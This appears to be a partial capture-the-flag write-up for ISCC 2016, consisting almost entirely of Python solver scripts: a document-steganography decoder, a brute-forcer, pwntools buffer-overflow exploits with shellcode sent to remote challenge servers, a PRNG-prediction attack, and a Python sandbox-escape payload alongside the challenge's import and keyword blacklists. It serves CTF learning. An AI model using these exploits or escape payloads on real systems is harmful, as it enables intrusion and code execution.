ISCC 2016 writeup (部分题解)

import  xml.dom.minidom
import sys
reload(sys)
sys.setdefaultencoding('gbk')
dom = xml.dom.minidom.parse('them.xml')
root = dom.documentElement
str1 = ''
bb = root.getElementsByTagName('w:spacing')
b= bb[10]
b1 = b.getAttribute("w:val")
print b1
for k in range(10,len(bb)):
    if bb[k].getAttribute("w:val") == "2" :
        str1 += '1' * len(str(bb[k].parentNode.parentNode.getElementsByTagName('w:t')[0].childNodes[0].data).decode('gbk'))
    elif bb[k].getAttribute("w:val") == "-2" :
        str1 += '0' * len(str(bb[k].parentNode.parentNode.getElementsByTagName('w:t')[0].childNodes[0].data).decode('gbk'))
print str1
print len(str1)
#print len(bb)

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from subprocess import Popen
from subprocess import PIPE


for i in xrange(999999999, 1, -1):
    p = Popen(['./difficult'], stdin=PIPE, stdout=PIPE)
    output, err = p.communicate(input=str(i))
    if 'Thanks' in output:
        print output
        print i
    break

#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8

from pwn import *


r = remote('101.200.187.112', 9004)

shellcode = 'hffffk4diFkTpj02Tpk0T0AuEE0t3i4C3B3I7o2r1k0m7L2Z1o177M2p0X154y4N3j8L02'

print r.recv()
r.sendline('A' * 0x100 + p32(0x804a164) + shellcode)
r.sendline('cat flag')
print r.recv()

# r.interactive()

#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
from pwn import *
from ctypes import *


libc = CDLL("libc.so.6")
libc.srand(0x01010101)


def get_next_answer():
    seed = libc.rand()
    libc.srand(seed)
    n = libc.rand() % 0x1869F + 1
    return n

r = remote('101.200.187.112', 9001)
print r.recv()
name = 'A' * 0x28 + '\x01' * 4

r.sendline(name)
for i in range(100):
    n = get_next_answer()
    print r.recv()
    print 'Sending: ' + str(n) + '\n'
    r.sendline(str(n))
    print r.recv()


print r.recv()
r.close()

### 59 是 warnings.catch_warnings 在list里的索引位置
getattr(().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('o'+'s'), 's'+'yst'+'em')('ls')

#!/usr/bin/env python2
# -*- coding:utf-8 -*-

def banner():
    print "============================================="
    print "   Simple calculator implemented by python   "
    print "============================================="
    return

def getexp():
    return raw_input(">>> ")

def _hook_import_(name, *args, **kwargs):
    module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
            'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
            'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
            'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
            'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
            'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
            'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
            'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
            'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
            'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
            'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
            'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
            'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
    for forbid in module_blacklist:
        if name == forbid:        # don't let user import these modules
            raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
    return __import__(name, *args, **kwargs)    # normal modules can be imported

def sandbox_filter(command):
    blacklist = ['exec', 'sh', '__getitem__', '__setitem__', '=', 'open', 'read', 'sys', ';', 'os']
    for forbid in blacklist:
        if forbid in command:   return 0
    return 1

def sandbox_exec(command):      # sandbox user input
    result = 0
    __sandboxed_builtins__ = dict(__builtins__.__dict__)
    __sandboxed_builtins__['__import__'] = _hook_import_    # hook import
    del __sandboxed_builtins__['open']
    _global = {
        '__builtins__' : __sandboxed_builtins__
    }
    if sandbox_filter(command) == 0:
        print 'Malicious user input detected!!!'
        exit(0)
    command = 'result = ' + command
    try:
        exec command in _global     # do calculate in a sandboxed environment
    except Exception, e:
        print e
        return 0
    result = _global['result']  # extract the result
    return result

banner()
while 1:
    command = getexp()
    print sandbox_exec(command)